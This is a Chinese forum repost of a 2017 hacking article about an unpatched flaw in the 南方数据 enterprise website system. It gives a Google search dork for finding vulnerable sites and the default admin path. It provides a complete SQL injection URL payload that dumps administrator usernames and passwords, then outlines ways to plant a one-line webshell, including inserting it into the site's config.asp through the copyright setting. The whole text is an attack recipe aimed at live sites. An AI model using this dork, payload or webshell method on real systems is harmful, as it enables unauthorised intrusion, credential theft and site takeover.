搜索

[20792] 2017-06-20_南方数据企业0day漏洞爆后台密码

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2017-06-20_南方数据企业0day漏洞爆后台密码 南 方 数 据 企 业 0 d a y 漏 洞 爆 后 台 密 码 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 6 - 2 0 南 方 数 据 的 漏 洞 比 较 多 各 种 版 本 的 漏 洞 也 显 而 易 见 。 南 方 数 据 的 漏 洞 比 较 多 各 种 版 本 的 漏 洞 也 显 而 易 见 。 这 里 要 讲 的 是 南 方 数 据 企 业 0 d a y 直 接 爆 后 台 密 码 方 法 南 方 数 据 企 业 0 d a y 漏 洞 爆 后 台 密 码 谷 歌 搜 索 ： i n u r l : " H o m e M a r k e t . a s p " 默 认 后 台 地 址 ： 默 认 后 台 地 址 ： / a d m i n 直 接 在 网 址 后 面 加 上 利 用 代 码 即 可 直 接 爆 出 管 理 员 的 帐 号 密 码 利 用 代 码 ： 利 用 代 码 ： N e w s T y p e . a s p ? S m a l l C l a s s = ' % 2 0 u n i o n % 2 0 s e l e c t % 2 0 0 , u s e r n a m e % 2 B C H R ( 1 2 4 ) % 2 B p a s s w o r d , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 % 2 0 f r o m % 2 0 a d m i n % 2 0 u n i o n % 2 0 s e l e c t % 2 0 * % 2 0 f r o m % 2 0 n e w s % 2 0 w h e r e % 2 0 1 = 2 % 2 0 a n d % 2 0 ' ' = ' u r l 后 面 直 接 加 上 利 用 代 码 爆 出 帐 号 密 码 后 直 接 解 密 就 可 以 获 得 管 理 员 的 帐 号 密 码 。 然 后 在 进 一 步 的 拿 w e b s h e l l 1 、 注 册 用 户 上 传 拿 s h e l l ， 这 个 比 较 直 接 ， 可 以 不 进 后 台 和 在 不 知 道 用 户 名 密 码 的 情 况 下 。 2 、 进 后 台 备 份 数 据 库 3 、 在 网 站 配 置 的 版 权 信 息 里 插 入 一 句 话 ， 一 句 话 地 址 写 入 到   h t t p : / / w w w . x x x . c o m / i n c / c o n f i g . a s p 这 里 只 讲 常 见 的 几 张 ， 具 体 还 是 要 看 实 际 过 程 而 定 。 查 看 更 多 文 章 ， 关 注 下 方 二 维 码

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理